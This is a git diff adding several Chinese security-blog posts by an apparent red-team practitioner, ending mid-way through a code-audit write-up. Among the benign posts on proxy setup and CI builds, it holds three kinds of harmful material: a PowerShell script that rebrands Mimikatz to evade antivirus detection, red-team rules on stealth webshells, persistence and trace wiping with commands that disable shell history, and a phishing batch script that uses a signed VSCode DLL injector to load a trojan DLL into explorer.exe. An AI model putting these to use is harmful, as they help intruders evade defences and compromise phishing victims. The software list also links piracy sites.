diff --git a/content/posts/2023/2023-07-19-useful-software.md b/content/posts/2023/2023-07-19-useful-software.md new file mode 100644 index 0000000..c2f324a --- /dev/null +++ b/content/posts/2023/2023-07-19-useful-software.md @@ -0,0 +1,83 @@ +--- +title: "常用软件记录" +date: 2023-07-19 +description: 本文记录一下常用的软件以及下载地址 +url: /archivers/2023-07-19/useful-software +tags: useful-software +--- + + + +### 操作系统-[镜像] + +- Windows: [MSDN-ItellYou](https://msdn.itellyou.cn/) \ ✨[LTSC](http://www.microsoft.com/en-us/evalcenter/download-windows-10-enterprise) 系统比较纯净 + +> 推荐使用LTSC版本的操作系统,系统比较纯净,但需要激活 +> +- Linux: [Arch Linux](https://mirrors.tuna.tsinghua.edu.cn/archlinux/iso/2023.07.01/) / [Ubuntu](https://mirrors.tuna.tsinghua.edu.cn/ubuntu-cdimage/releases/23.04/release/) + +> 比较推荐直接去一些软件源上下载,这里举例清华源 +> + +### 操作系统工具-[Linux] + +- 文档处理:[WPS Office](https://wiki.archlinux.org/title/WPS_Office)、[Mousepad](https://archlinux.org/packages/extra/x86_64/mousepad/) +- 输入法:Fctix5 +- … https://github.com/Rvn0xsy/pacman-pkg + +### 软件中心 + +- [腾讯软件中心](https://pc.qq.com/) *无广告和捆绑* + +### 软件分析 + +- [CFF Explorer](https://ntcore.com/?page_id=388) *PE文件解析* +- [IDA](https://www.ida.org/) *二进制文件分析* +- [Dnspy](https://github.com/dnSpy/dnSpy) *C#程序反汇编分析* +- [X64Dbg](https://x64dbg.com/) *Windows二进制文件分析* + +### 浏览器插件 + +- ✨[TamperMonkey](https://www.tampermonkey.net/) *油猴插件* +- ✨[AdGuard](https://adguard.com/zh_cn/download-extension/edge.html) *拦截广告* +- ✨[Proxy SwitchyOmega](https://microsoftedge.microsoft.com/addons/detail/fdbloeknjpnloaggplaobopplkdhnikc) *代理切换* +- ✨[Bitwarden](https://bitwarden.com/) *密码管理器* +- ✨[Wappalyzer](https://www.wappalyzer.com/apps/?utm_source=popup&utm_medium=extension&utm_campaign=wappalyzer) *分析网站所使用的组件* + +### 影视资源 + +- BT之家:btbtt15[.]com +- 樱花动漫:yinghuadongman[.]me + + +### 操作系统工具-[Windows] + +- 备忘录:✨[Notion](https://www.notion.so/) +- 聊天工具:[微信](https://weixin.qq.com/)、[Slack](https://slack.com/)、✨[飞书](https://www.feishu.cn/) +- 电子邮件:[Foxmail](https://www.foxmail.com/) +- 文档处理:[Microsoft Office](https://www.office.com/?omkt=zh-CN)、[wps](https://www.wps.cn/) +- 密码管理:✨[Bitwarden](https://bitwarden.com/) +- 浏览器:[Google Chrome](https://www.google.com/chrome/)、✨[Microsoft Edge](https://www.microsoft.com/en-us/edge) +- 视频会议:✨[腾讯会议](https://meeting.tencent.com/) +- Microsoft To Do待办提醒:✨[To Do](https://todo.microsoft.com/zh-cn/) +- 文件查找搜索:[Everything](https://www.voidtools.com/zh-cn/) +- 抓包分析:[Wireshark](https://www.wireshark.org/) \ ✨[[镜像]Wireshark](https://mirrors.tuna.tsinghua.edu.cn/wireshark/win64/) 镜像下载较快 \ [Burpsuite](https://portswigger.net/burp/releases#professional) +- 代码编辑器:[VSCode](https://code.visualstudio.com/)\[加速下载]改变官网地址主地址为: [vscode.cdn.azure.cn](http://vscode.cdn.azure.cn/) +- 文件解压缩:[7zip](https://www.7-zip.org/) +- 屏幕录制:[OBS Studio](https://obsproject.com/) +- Git: [Git For Windows](https://git-scm.com/download/win) / [[加速]Git For Windows](https://pc.qq.com/detail/13/detail_22693.html) +- 虚拟化:Docker\VMWare\VirtualBox +- 脚本环境:[Java](https://adoptopenjdk.net/) + +### 网页工具 + +- 编码解码:[CyberChef](https://gchq.github.io/CyberChef/) +- 正则表达式:[Regex101](https://regex101.com) +- ✨腾讯杂项在线工具:[杂项工具箱](https://tool.browser.qq.com/) +- 免费DNS-SSRF服务:[sslip.io](http://sslip.io/) +- 壁纸网站:[Bing壁纸库](https://bing.wdbyte.com/) +- IP地址查询:[ifconfig.me](https://www.ifconfig.me/) +- BT种子转换:cn[.]torrentkitty[.]best \ No newline at end of file diff --git a/content/posts/2023/2023-07-23-appveyor-build-project.md b/content/posts/2023/2023-07-23-appveyor-build-project.md new file mode 100644 index 0000000..eecefc9 --- /dev/null +++ b/content/posts/2023/2023-07-23-appveyor-build-project.md @@ -0,0 +1,135 @@ +--- +title: "使用Appveyor构建VS项目-快速编译" +date: 2023-07-23 +description: 在工作中经常会看到一些做的比较好的C++开源项目,但是作者没有编写CI/CD去构建项目,发布Release版本的二进制文件,因此需要自己手动编译,但有时候又是临时的环境,还需要安装Visual Studio之类的IDE来构建,比较麻烦,因此appveyor可以支持各类语言的构建环境,只需要在网页上就可以发布二进制程序,解决了本地安装开发环境的痛点。 +url: /archivers/2023-07-23/appveyor +tags: appveyor +--- + +## 前言 + + + +## Appveyor简介 + + + +## 构建Github项目 + +AppVeyor提供了它特有的配置文件用于声明构建动作,开发者可以通过编写AppVeyor配置文件来控制程序的发布流程。 + +这里只讨论没有AppVeyor配置文件的项目,以https://github.com/goldshtn/etrace为例,etrace是一个命令行工具,用于实时跟踪 ETW 事件和 处理现有的 .etl 录制文件。它的灵感来自Microsoft [ELT](https://github.com/Microsoft/Microsoft.Diagnostics.Tracing.Logging/tree/master/utils/LogTool)工具。 + +![0](https://images.payloads.online/2024-07-29-5dc81fb4ac997c5b4bde39e315f39c8f87b29af725c22684aec2530770030f47.png) + + +该项目没有AppVeyor配置文件,首先Fork这个项目到自己账户名下,然后访问https://www.appveyor.com/,以Github账户登录,并且授权读取此仓库。 + +![1](https://images.payloads.online/2024-07-29-b3783ff0a64525ecfe7a180228595ce723443326cd8b6f720cf98246f0cd7b25.png) + + +在Github这一栏可以看到授权的仓库,点击 **+ADD** 就可以进入项目的构建配置界面: + +![2](https://images.payloads.online/2024-07-29-0901705e6c5f3cc7db29338176b4c9558f1e87bf3a5e092df44706d38ae89b61.png) + + +由于这个项目是采用C#开发的,所以我们着重关注C#相关的配置: + +![3](https://images.payloads.online/2024-07-29-1b7abdb53043453e086a25620f4411330f445299864c87d91beb53bc87a47890.png) + + +在Before build script中输入如下命令,会在开始编译之前去下载这个项目所依赖的库: + +```bash +nuget restore +``` + + + +除此之外,还可以在环境配置中设置安装开发库的命令: + +![4](https://images.payloads.online/2024-07-29-d2dbacd81fcf3c3ae4c2d9dad8dbfaafff18b18a138d0b6d46d966c00c66e23c.png) + + +最后一步就是设置二进制文件打包了,点击artifacts,可以配置要打包的路径,必须是相对路径,C#的程序一般会将二进制文件生成到bin目录下,所以我这里就写:etrace\bin + +![5](https://images.payloads.online/2024-07-29-250ee79944bc86c985221b13aee115fb153e56ca50d88d16799a3eebb3d29c44.png) + + +保存后,回到项目页面,点击Start New Build就开始构建了: + +![6](https://images.payloads.online/2024-07-29-51d2f8ad59c102c96729da44ee8c88a28706eefb90c6a52e00e4ae94c055db8b.png) + + +稍微等待一下,就可以看到构建好的程序了,直接下载就可以使用。 + +![7](https://images.payloads.online/2024-07-29-71e3d69c746a01016da0b57aa98abcd4de9029ce06eec2f5ef3127062e78cb7d.png) + + +## 使用AppVeyor构建Mimikatz + +Mimikatz是[gentilkiwi](https://github.com/gentilkiwi)使用C语言开发的Windows安全工具,该工具有着丰富的功能,能过从内存中提取明文密码,哈希,PIN码和kerberos票据、哈希传递等等,随着越来越多的黑客滥用此工具进行一些非法活动,因此[gentilkiwi](https://github.com/gentilkiwi)每发布一个Release,Release中的Mimikatz样本就会被标记为黑客工具,这对红队带来了一些小麻烦,通过AppVeyor我们可以自动化的做一些静态特征处理,然后自动构建产生新的工具。 + +gentilkiwi已经在Mimikatz项目中内置了一个AppVeyor的配置文件,这个配置文件会随着项目改动自动触发AppVeyor的构建流程。 + +![8](https://images.payloads.online/2024-07-29-0238150c9f7ae7a6d62517d0ec9e5beef84f2e8d1e8ba4110fc3a425d8ceb3c1.png) + + +我们要做的就是先Fork一份Mimikatz到自己的项目中,然后开始修改AppVeyor配置文件: + +![9](https://images.payloads.online/2024-07-29-eed2a89c92d68e937b3d5989177a2671ac1b8178540e0fea812447eb0967a88c.png) + + +这里我只是做了一个工作,就是将代码中的所有Mimikatz字符串替换为aabbcc,当然还可以做很多其它的替换操作。 + +```powershell +ls; +Copy-Item C:\projects\mimikatz\mimikatz\mimikatz.ico C:\projects\mimikatz\mimikatz\aabbcc.ico; +(Get-ChildItem -Path "." -Recurse -File -Include *.h,*.c,*.vcxproj,*.rc) | ForEach-Object { + $newFileName = $_.Name -replace "mimikatz\.(h|c|rc)", "aabbcc.`$1" + $newPath = Join-Path -Path $_.Directory.FullName -ChildPath $newFileName + (Get-Content $_.FullName) | ForEach-Object { + $_ -ireplace "mimikatz", "aabbcc" + } | Set-Content $newPath + if ($newFileName -ne $_.Name) { + Remove-Item $_.FullName + } + Write-Host $newPath +}; +ls mimikatz; +``` + +其中替换图标的操作可以改为从互联网下载某个地址的图标,这里就不赘述了。 + +我的配置文件地址:[mimikatz/appveyor.yml at master · Rvn0xsy/mimikatz (github.com)](https://github.com/Rvn0xsy/mimikatz/blob/master/appveyor.yml) + +编译好的成品如下: + +![10](https://images.payloads.online/2024-07-29-18c0cd95132052716e08d5844cb251b3db4c09f7487d1523a9e96868b54287de.png) + + +![11](https://images.payloads.online/2024-07-29-d9018d95f27c32bf006dc370d0994e10e4d4581b5adc4cff146abc3381b59298.png) + + +## 🥪总结 + +通过在线的CI/CD工具可以省去搭建环境的时间,由于CI/CD是事件触发的,每次改动都可以生成新的样本,相当于可以无限次的使用,若是有一些工具实在是非常敏感、静态特征多,可以像我这样写一个类似的批处理加入到CI/CD中做一些简单的对抗处理,本文仅仅是抛砖引玉,我相信还有更节约时间、更高效的方式。 \ No newline at end of file diff --git a/content/posts/2023/2023-08-07-clash-config.md b/content/posts/2023/2023-08-07-clash-config.md new file mode 100644 index 0000000..e099c90 --- /dev/null +++ b/content/posts/2023/2023-08-07-clash-config.md @@ -0,0 +1,151 @@ +--- +title: "记录一下配置Clash透明代理" +date: 2023-08-07 +description: 日常办公和上网需要挂不同的代理,切换起来有点麻烦,所以记录一下配置Clash透明代理的流水账 +url: /archivers/2023-08-07/clash-config +tags: clash +--- + + + +# 📝Clash是什么? + +https://github.com/Dreamacro/clash + +Clash是一个支持多种协议隧道转发的工具,主要功能如下: + +- Inbound: HTTP, HTTPS, SOCKS5 server, TUN device +- Outbound: Shadowsocks(R), VMess, Trojan, Snell, SOCKS5, HTTP(S), Wireguard +- Rule-based Routing: dynamic scripting, domain, IP addresses, process name and more +- Fake-IP DNS: minimises impact on DNS pollution and improves network performance +- Transparent Proxy: Redirect TCP and TProxy TCP/UDP with automatic route table/rule management +- Proxy Groups: automatic fallback, load balancing or latency testing +- Remote Providers: load remote proxy lists dynamically +- RESTful API: update configuration in-place via a comprehensive API + +目前作者还在维护[高级核心版](https://dreamacro.github.io/clash/premium/introduction.html)(免费),为了尝试支持更多功能。 + +# 🪢关于透明代理 + +这里可以参考之前写过的一篇介绍: + +[Linux透明代理在红队渗透中的应用 | 倾旋的博客](https://payloads.online/archivers/2020-11-13/1/) + +# 配置Clash服务 + +这里需要注意的是需要设置redir-port,这个选项: *Linux 和 macOS 的透明代理服务端口 (TCP 和 TProxy UDP 重定向)* + +```yaml +port: 7890 +socks-port: 7891 +allow-lan: true +redir-port: 7892 +mode: Rule +log-level: info +external-controller: 127.0.0.1:9090 +experimental: + interface-name: enp34s0 # your interface-name +dns: + enable: true + listen: 127.0.0.1:53 + nameserver: + - 223.5.5.5 + fallback: + - 'tls://1.1.1.1:853' + - 'tcp://1.1.1.1' + - 'tcp://208.67.222.222:443' + - 'tls://dns.google' +``` + +除此之外,最好编写一个服务文件,将Clash运行在其他用户身份下: + +``` +[Unit] +Description=clash daemon + +[Service] +Type=simple +StandardError=journal +User=clash +Group=clash +CapabilityBoundingSet=CAP_NET_BIND_SERVICE CAP_NET_ADMIN +AmbientCapabilities=CAP_NET_BIND_SERVICE CAP_NET_ADMIN +ExecStart=/usr/bin/clash -d /home/arch/.config/clash +Restart=on-failure + +[Install] +WantedBy=default.target +``` + +将服务文件拷贝到:/etc/systemd/system/ + +``` +$ sudo systemctl daemon-reload # 重新扫描服务单元变更 +$ sudo systemctl enable clash # 开机启动 +$ sudo systemctl start clash # 启动Clash +``` + +设置DNS服务器地址,直接/etc/resolv.conf文件即可: + +``` +# /etc/resolv.conf +nameserver 127.0.0.1 +``` + +# 配置iptables规则 + +在iptables中有一个owner模块,可以过滤指定用户的流量,对我们来说只需要将clash运行在一个单独的用户身份下,对这个用户的所有流量放行即可。 + +![0](https://images.payloads.online/2024-07-29-f3fe5de39caf1acc5768e1e07a6f58105a5754e7a95d912b73d6c7da2af6fae4.png) + + +iptables命令: + +``` +# 添加规则 +sudo iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner clash ! -d 127.0.0.1 -j REDIRECT --to-port 7892 + +# 删除规则 +sudo iptables -t nat -D OUTPUT -p tcp -m owner ! --uid-owner clash ! -d 127.0.0.1 -j REDIRECT --to-port 7892 +``` + +这个命令的意思是将所有不属于用户ID为"clash"的TCP流量重定向到端口7892。 + +# 配置Clash规则 + +```yaml +proxies: + - ...server1 + - ...server2 +proxy-groups: + - name: ProxyChian1 + type: select + proxies: + - server1 + - DIRECT +- name: ProxyChian2 + type: select + proxies: + - DIRECT + - name: 工作环境 + type: select + proxies: + - server1 +rules: + - DOMAIN-SUFFIX,local,ProxyChian2 + - DOMAIN-SUFFIX,localhost,ProxyChian2 + - DOMAIN-SUFFIX,payloads.online,工作环境 + - IP-CIDR,10.10.0.0/16,工作环境,no-resolve + - IP-CIDR,10.20.0.0/24,工作环境,no-resolve + - ..... +``` + +通过rules可以配置不同的DNS域名、IP-CIDR目标地址的流量该走到哪个代理链上,这里我的规则仅仅只是示例,为了达到更好的网络体验,规则是上达几百行的。 + +![1](https://images.payloads.online/2024-07-29-6530f58ed8ca3b853ddd4f691bc570234ca5738c3ff21958ce688559d1355bc1.png) + + +如此一来,工作/上网问题不需要切换代理解决了。 \ No newline at end of file diff --git a/content/posts/2023/2023-08-10-redteam-operation-code-of-conduct.md b/content/posts/2023/2023-08-10-redteam-operation-code-of-conduct.md new file mode 100644 index 0000000..093c2c2 --- /dev/null +++ b/content/posts/2023/2023-08-10-redteam-operation-code-of-conduct.md @@ -0,0 +1,64 @@ +--- +title: "红队行动守则" +date: 2023-08-10 +description: 这篇文章是收集了多数红队在进行红队行动的经验之谈,由于工作发展原因,不再继续红队相关的工作,因此决定分享出来。 +url: /archivers/2023-08-10/redteam-operation-code-of-conduct +tags: redteam +--- + + + + +## 攻击注意事项 + +- 使用免杀Webshell(文件特征、流量特征),禁止使用开源社区通用Webshell,这些是我过去常用的Webshell: https://github.com/Rvn0xsy/usefull-code +- 尽可能的删除依赖工具的软件特征、流量特征 +- 打点后先进行权限维持(并且最好都额外打一个内存马) 原因:单个Webshell即使免杀,也有可能被防守方发现,一旦被删除就失去了服务器控制权 +- 不执行敏感的操作(如反弹Shell) +- 获取权限后的信息收集,通过网络、应用业务、服务器登录日志、命令执行日志判断当前机器是否是蜜罐 +- 核心关键隧道:使用规避内存扫描的C2解决方案 +- 端口反连使用常见端口,伪装正常应用流量(25,110,80,443,993,995,8080,8443) +- C2基础设施配置为HTTPS/DNS上线,最好勿用HTTP,证书采用CDN服务商或Let’s Encrypt +- 搭建正向的Web代理后,应当先研究如何提升隧道传输质量,避免多人扫描 + +[Web正向代理的思考 | 倾旋的博客](https://payloads.online/archivers/2020-11-01/1/) + +- 内网探测工具的选择尽可能脚本化、去特征、低频率 +- 隧道建立:采用开源魔改工具实现,避免流量和样本特征与公开的重合 +- 弱口令扫描:低频、小字典、优先尝试SSH/RDP/MySQL/MSSQL等弱口令(分两类:有数据的服务器、有管理端口的服务器) +- 登录Linux服务器,应当避免Bash History被记录可使用sh来执行命令,或设置环境变量避免Bash记录历史命令。 + +```bash +python -c 'import pty;pty.spawn("/bin/sh")' +# or +unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; +export HISTFILE=/dev/null; +export HISTSIZE=0; +export HISTFILESIZE=0 +``` + +- 操作合规:非必要情况下,不修改任何服务器用户密码 +- 操作合规:非必要情况下,不使用破坏性较强的Exploit或者工具 +- 操作合规:非必要情况下,不要对内网进行大规模探测 例如不要/8 +- 操作合规:非必要情况下,切勿上来就进行扫描探测,先应对当前主机做详细的信息搜集和分析 +- 工具存放:工具统一存放在隐藏目录下,文件名称命名为服务进程(tomcat/nginx)等,有AV/EDR情况,工具应先本地测试免杀之后,再落地到目标服务器,最好有多个平替工具 + +## 反溯源注意事项 + +- 外网攻击时:尽量使用虚拟机进行渗透,并且测试时不提交包含个人特征信息的手机号码、QQ、微信、其他信息,最好日常工作的浏览器和渗透攻击的浏览器用两个。一般我会创建攻击机的虚拟机快照,项目结束恢复初始状态,干干净净。 +- 内网攻击时:攻击结束必须进行痕迹清理,及时删除自用软件,如Webshell、免杀上线马、0day工具、扫描工具、自研工具,甚至包含系统日志。 +- 短线社工钓鱼:尽量避开技术人员,从非技术人员入手,钓鱼信息为非实名信息 +- 短线社工钓鱼:远程获取的可执行文件,谨慎点击(尤其是VPN客户端,谨防蜜罐),可以上传各类沙箱进行检测,同时运行可以采用虚拟机的方式。 +- 在开源社区获得系统或工具源代码后,谨慎打开,防止IDE的编译、加载、调试选项内藏上线命令。 + +## 职业操守 + +- 禁止下载、更改业务数据(企业数据),修改业务系统密码(如路由器、Web站点后台、VPN)降低业务影响。 +- 禁止使用会造成不良后果的攻击方式(如DDOS攻击)。 +- 测试结束后删除Webshell等恶意文件或记住固定存放位置。 +- 禁止使用境外跳板机、VPN。 +- 使用统一攻击资源与授权攻击工具。 +- 对项目、行动内容在公开场合进行保密,不产生任何舆论影响。 \ No newline at end of file diff --git a/content/posts/2023/2023-09-08-vscode-dll.md b/content/posts/2023/2023-09-08-vscode-dll.md new file mode 100644 index 0000000..184fce0 --- /dev/null +++ b/content/posts/2023/2023-09-08-vscode-dll.md @@ -0,0 +1,210 @@ +--- +title: "VsCode扩展中的DLL注入器" +date: 2023-09-08 +description: 早上 @Akkuman 说看到Vsocde中的扩展目录中有疑似签名过的DLL注入器,遂记录一下。 +url: /archivers/2023-09-08/vscode-dll +tags: vscode +--- + + + +安装完毕Python调试扩展后,会在扩展目录中生成一些文件: + +![0](https://images.payloads.online/2024-07-29-1ac07f2ccf6b6ba8768b96e62815f150289ca24887a111685646538b567130d5.png) + + +![1](https://images.payloads.online/2024-07-29-8ba004d0a43efcfa27809998a10469e46d3e380ea3ed0c3122c60583d5a0ee6b.png) + +其中以下两个文件是DLL注入器,分别对应X86和X64位操作系统: + +- inject_dll_x86.exe +- inject_dll_amd64.exe + +在windows文件夹中还保留了注入器的源代码: + +![2](https://images.payloads.online/2024-07-29-03d06e145c8996fcbaafefa67c5c28df4b4f53a9f77b69a21cfefebd0fea9d28.png) + + +> 路径:`C:\Users\Administrator\.vscode\extensions\ms-python.python-2022.20.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\pydevd_attach_to_process\windows` +> + +```cpp +// inject_dll.cpp +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "kernel32.lib") +#pragma comment(lib, "user32.lib") + +// Helper to free data when we leave the scope. +class DataToFree { +public: + HANDLE hProcess; + HANDLE snapshotHandle; + + LPVOID remoteMemoryAddr; + int remoteMemorySize; + + DataToFree(){ + this->hProcess = nullptr; + this->snapshotHandle = nullptr; + + this->remoteMemoryAddr = nullptr; + this->remoteMemorySize = 0; + } + + ~DataToFree() { + if(this->hProcess != nullptr){ + + if(this->remoteMemoryAddr != nullptr && this->remoteMemorySize != 0){ + VirtualFreeEx(this->hProcess, this->remoteMemoryAddr, this->remoteMemorySize, MEM_RELEASE); + this->remoteMemoryAddr = nullptr; + this->remoteMemorySize = 0; + } + + CloseHandle(this->hProcess); + this->hProcess = nullptr; + } + + if(this->snapshotHandle != nullptr){ + CloseHandle(this->snapshotHandle); + this->snapshotHandle = nullptr; + } + } +}; + +/** + * All we do here is load a dll in a remote program (in a remote thread). + * + * Arguments must be the pid and the dll name to run. + * + * i.e.: inject_dll.exe + */ +int wmain( int argc, wchar_t *argv[ ], wchar_t *envp[ ] ) +{ + std::cout << "Running executable to inject dll." << std::endl; + + // Helper to clear resources. + DataToFree dataToFree; + + if(argc != 3){ + std::cout << "Expected 2 arguments (pid, dll name)." << std::endl; + return 1; + } + + const int pid = _wtoi(argv[1]); + if(pid == 0){ + std::cout << "Invalid pid." << std::endl; + return 2; + } + + const int MAX_PATH_SIZE_PADDED = MAX_PATH + 1; + char dllPath[MAX_PATH_SIZE_PADDED]; + memset(&dllPath[0], '\0', MAX_PATH_SIZE_PADDED); + size_t pathLen = 0; + wcstombs_s(&pathLen, dllPath, argv[2], MAX_PATH); + + const bool inheritable = false; + const HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION, inheritable, pid); + if(hProcess == nullptr || hProcess == INVALID_HANDLE_VALUE){ + std::cout << "Unable to open process with pid: " << pid << ". Error code: " << GetLastError() << "." << std::endl; + return 3; + } + dataToFree.hProcess = hProcess; + std::cout << "OpenProcess with pid: " << pid << std::endl; + + const LPVOID remoteMemoryAddr = VirtualAllocEx(hProcess, nullptr, MAX_PATH_SIZE_PADDED, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if(remoteMemoryAddr == nullptr){ + std::cout << "Error. Unable to allocate memory in pid: " << pid << ". Error code: " << GetLastError() << "." << std::endl; + return 4; + } + dataToFree.remoteMemorySize = MAX_PATH_SIZE_PADDED; + dataToFree.remoteMemoryAddr = remoteMemoryAddr; + + std::cout << "VirtualAllocEx in pid: " << pid << std::endl; + + const bool written = WriteProcessMemory(hProcess, remoteMemoryAddr, dllPath, pathLen, nullptr); + if(!written){ + std::cout << "Error. Unable to write to memory in pid: " << pid << ". Error code: " << GetLastError() << "." << std::endl; + return 5; + } + std::cout << "WriteProcessMemory in pid: " << pid << std::endl; + + const LPVOID loadLibraryAddress = (LPVOID) GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); + if(loadLibraryAddress == nullptr){ + std::cout << "Error. Unable to get LoadLibraryA address. Error code: " << GetLastError() << "." << std::endl; + return 6; + } + std::cout << "loadLibraryAddress: " << pid << std::endl; + + const HANDLE remoteThread = CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE) loadLibraryAddress, remoteMemoryAddr, 0, nullptr); + if (remoteThread == nullptr) { + std::cout << "Error. Unable to CreateRemoteThread. Error code: " << GetLastError() << "." << std::endl; + return 7; + } + + // We wait for the load to finish before proceeding to get the function to actually do the attach. + std::cout << "Waiting for LoadLibraryA to complete." << std::endl; + DWORD result = WaitForSingleObject(remoteThread, 5 * 1000); + + if(result == WAIT_TIMEOUT) { + std::cout << "WaitForSingleObject(LoadLibraryA thread) timed out." << std::endl; + return 8; + + } else if(result == WAIT_FAILED) { + std::cout << "WaitForSingleObject(LoadLibraryA thread) failed. Error code: " << GetLastError() << "." << std::endl; + return 9; + } + + std::cout << "Ok, finished dll injection." << std::endl; + return 0; +} +``` + +签名情况: + +![3](https://images.payloads.online/2024-07-29-86bbb43d1859d52ea12e73cc03a6b184a25e4f0239431b109b35aa49de3c27d9.png) + +使用方式,只需要两个参数: + +- pid : 目标进程的进程ID +- dll name: 想要注入目标进程的DLL绝对路径 + +```cpp +C:\Users\Administrator\Downloads>inject_dll_amd64.exe +Running executable to inject dll. +Expected 2 arguments (pid, dll name). +``` + +测试效果: + +![4](https://images.payloads.online/2024-07-29-d239af6fc3a3e340f245ce3f15dd9d50a35f4d1b876b14760207326feea194f0.png) + + +滥用思路: + +1. 钓鱼的时候可以发送一个BAT批处理脚本、dll注入器、dll木马 +2. BAT批处理:获取x64进程的pid +3. BAT批处理:获取dll木马绝对路径 +4. BAT批处理:执行dll注入器,将dll木马注入到目标进程中 + +![5](https://images.payloads.online/2024-07-29-6427dc8baed64cec09ed7934e49ef9188954f50c44761035110c9f7f93562fdd.png) + +```bash +@echo off +set target_process_name=explorer.exe +set dll_name=calc_x64.dll +set injecter=inject_dll_amd64.exe +for /f "tokens=2" %%i in ('tasklist ^| findstr /i "%target_process_name%"') do set "pid=%%i" +set "command=%CD%\%injecter% %pid% %CD%\%dll_name%" +%command% +``` + +最后的最后,致谢 @Akkuman \ No newline at end of file diff --git a/content/posts/2023/2023-09-18-code-auditing.md b/content/posts/2023/2023-09-18-code-auditing.md new file mode 100644 index 0000000..79c527e --- /dev/null +++ b/content/posts/2023/2023-09-18-code-auditing.md @@ -0,0 +1,575 @@ +--- +title: "某安全数据交换系统的漏洞挖掘" +date: 2023-09-18 +description: 本文写于2022年,分享一下挖掘某安全数据交换系统漏洞的过程。 +url: /archivers/2023-09-18/code-auditing +tags: 代码审计 +--- + + +> 本文写于2022年,分享一下挖掘某安全数据交换系统漏洞的过程。 + + + + +### 配置网络 + +根据产品安装文档环境搭建完毕后,手动设置IP地址和DNS: + +手工修改 `/etc/resolv.conf` + +``` +nameserver 114.114.114.114 +nameserver 8.8.8.8 +``` + +修改 `/etc/NetworkManager/NetworkManager.conf` 文件,在main部分添加 “dns=none” 选项: + +```cpp +[main] +#plugins=ifcfg-rh +dns=none +``` + +网络IP地址配置文件在 `/etc/sysconfig/network-scripts` 文件夹下: + +![0](https://images.payloads.online/2024-07-29-c1fdebce3a78e6a40d687eb5fa49a1b528c20752858153814edc88cba437ceaa.png) + + +我添加了两个网卡,其中一个用来供本机访问: + +![1](https://images.payloads.online/2024-07-29-683e57752f22f8419b233e4952db222874f86e8902cfdd70410619b4b6a2aea1.png) + + +`/etc/sysconfig/network-scripts/ifcfg-eth1-1` + +```cpp +HWADDR=00:0C:29:4B:16:B4 +TYPE=Ethernet +PROXY_METHOD=none +BROWSER_ONLY=no +BOOTPROTO=none +IPADDR=192.168.117.100 +GATEWAY=192.168.117.2 +PREFIX=24 +DNS1=114.114.114.114 +DNS2=8.8.8.8 +DEFROUTE=yes +IPV4_FAILURE_FATAL=no +IPV4_DNS_PRIORITY=100 +IPV6INIT=no +NAME=eth1 +UUID=8a47e710-cadd-49b5-b9b7-33a324c4ab66 +DEVICE=eth1 +ONBOOT=no +``` + +观察启动命令行: + +```cpp +/home/leagsoft/SafeDataExchange/jdk/bin/java -Dnop -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Dlog4j2.formatMsgNoLookups=true -javaagent:/home/leagsoft/SafeDataExchange/Apache/lib/jdc.jar -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0022 -Dignore.endorsed.dirs= -classpath /home/leagsoft/SafeDataExchange/Apache/bin/bootstrap.jar:/home/leagsoft/SafeDataExchange/Apache/bin/tomcat-juli.jar -Dcatalina.base=/home/leagsoft/SafeDataExchange/Apache -Dcatalina.home=/home/leagsoft/SafeDataExchange/Apache -Djava.io.tmpdir=/home/leagsoft/SafeDataExchange/Apache/temp org.apache.catalina.startup.Bootstrap start +``` + +`/home/leagsoft/SafeDataExchange/Apache` 是Tomcat的安装目录,webapps目录下是部署的应用源代码: + +![2](https://images.payloads.online/2024-07-29-7eb327a2b65b78ef6312f8ec7ee9a588095d75c22e7b6c0b376fe5954b4cb50d.png) + + +将war包通过ssh拷贝至本地就可以看到整个项目的源代码了。 + +![3](https://images.payloads.online/2024-07-29-1a82b57f36a183a00f4b4ab358743ad1468f7c054a4d846d043739e40cb36011.png) + + +### 源代码解密 + +将war包拷贝到本地通过idea打开,发现关键代码的实现都是空,连spring的控制器都是空,初步怀疑是被加密了,那么它是如何加密的呢? + +![4](https://images.payloads.online/2024-07-29-3d65e98c169d8ee3d33e646b32ff390b9d60142de117b783b26ff2f4286059cf.png) + + +既然网站可以正常跑起来,那么应该是运行时的某种技术手段实现,观察启动命令行: + +```cpp +/home/leagsoft/SafeDataExchange/jdk/bin/java +-Dnop -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager +-Dlog4j2.formatMsgNoLookups=true +**-javaagent:/home/leagsoft/SafeDataExchange/Apache/lib/jdc.jar** +-Djdk.tls.ephemeralDHKeySize=2048 +-Djava.protocol.handler.pkgs=org.apache.catalina.webresources +-Dorg.apache.catalina.security.SecurityListener.UMASK=0022 +-Dignore.endorsed.dirs= +-classpath /home/leagsoft/SafeDataExchange/Apache/bin/bootstrap.jar:/home/leagsoft/SafeDataExchange/Apache/bin/tomcat-juli.jar +-Dcatalina.base=/home/leagsoft/SafeDataExchange/Apache -Dcatalina.home=/home/leagsoft/SafeDataExchange/Apache +-Djava.io.tmpdir=/home/leagsoft/SafeDataExchange/Apache/temp org.apache.catalina.startup.Bootstrap start +``` + +命令行中有一个javaagent引起了我的注意: + +```cpp +-javaagent:/home/leagsoft/SafeDataExchange/Apache/lib/jdc.jar +``` + +将lib文件夹拷贝到项目中,观察jar包的结构: + +![5](https://images.payloads.online/2024-07-29-3a3d748071951a49d48afca2648beb92e8e0f801908aaa4681985e013407260e.png) + + +看样子是调用了javassist实现了一种内存补丁技术,找到Agent的入口方法,看看它做了什么: + +```java +// +// Source code recreated from a .class file by IntelliJ IDEA +// (powered by Fernflower decompiler) +// + +package com.leagsoft.declass; + +import java.lang.instrument.Instrumentation; + +public class Agent { + public Agent() { + } + + public static void premain(String args, Instrumentation inst) throws Exception { + CoreAgent.premain(args, inst); + } +} +``` + +跟进`CoreAgent.premain`: + +```java +public class CoreAgent { + public CoreAgent() { + } + + public static void premain(String args, 